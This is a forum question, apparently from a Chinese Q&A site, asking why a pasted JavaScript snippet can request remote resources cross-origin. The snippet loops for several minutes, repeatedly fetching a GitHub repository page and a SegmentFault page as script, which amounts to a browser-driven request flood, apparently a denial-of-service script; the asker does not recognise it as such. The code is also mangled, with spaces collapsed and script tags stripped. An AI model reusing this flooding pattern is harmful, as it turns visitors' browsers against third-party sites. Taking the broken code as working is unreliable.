JS这样做居然可以跨域请求远程资源，请问原理是什么！？

Question

演示地址：http://runjs.cn/code/vmjaz1pj如果说这样就可以跨域请求资源了，那岂不是想要攻击谁就攻击谁？这样太不安全了。代码如下：document.write("\x3c/script>");!window.jQuery&&document.write("\x3c/script>");startime=(newDate).getTime();varcount=0;functionunixtime(){vara=newDate;returnDate.UTC(a.getFullYear(),a.getMonth(),a.getDay(),a.getHours(),a.getMinutes(),a.getSeconds())/1E3}url_array=["https://github.com/aiyuchen/LaravelShoppingcart","http://segmentfault.com/q/1010000000339531"];NUM=url_array.length;functionr_send2(){vara=unixtime()%NUM;get(url_array[a])}functionget(a){varb;$.ajax({url:a,dataType:"script",timeout:1E4,cache:!0,beforeSend:function(){requestTime=(newDate).getTime()},complete:function(){responseTime=(newDate).getTime();b=Math.floor(responseTime-requestTime);3E5>responseTime-startime&&(r_send(b),count+=1)}})}functionr_send(a){setTimeout("r_send2()",a)}setTimeout("r_send2()",2E3);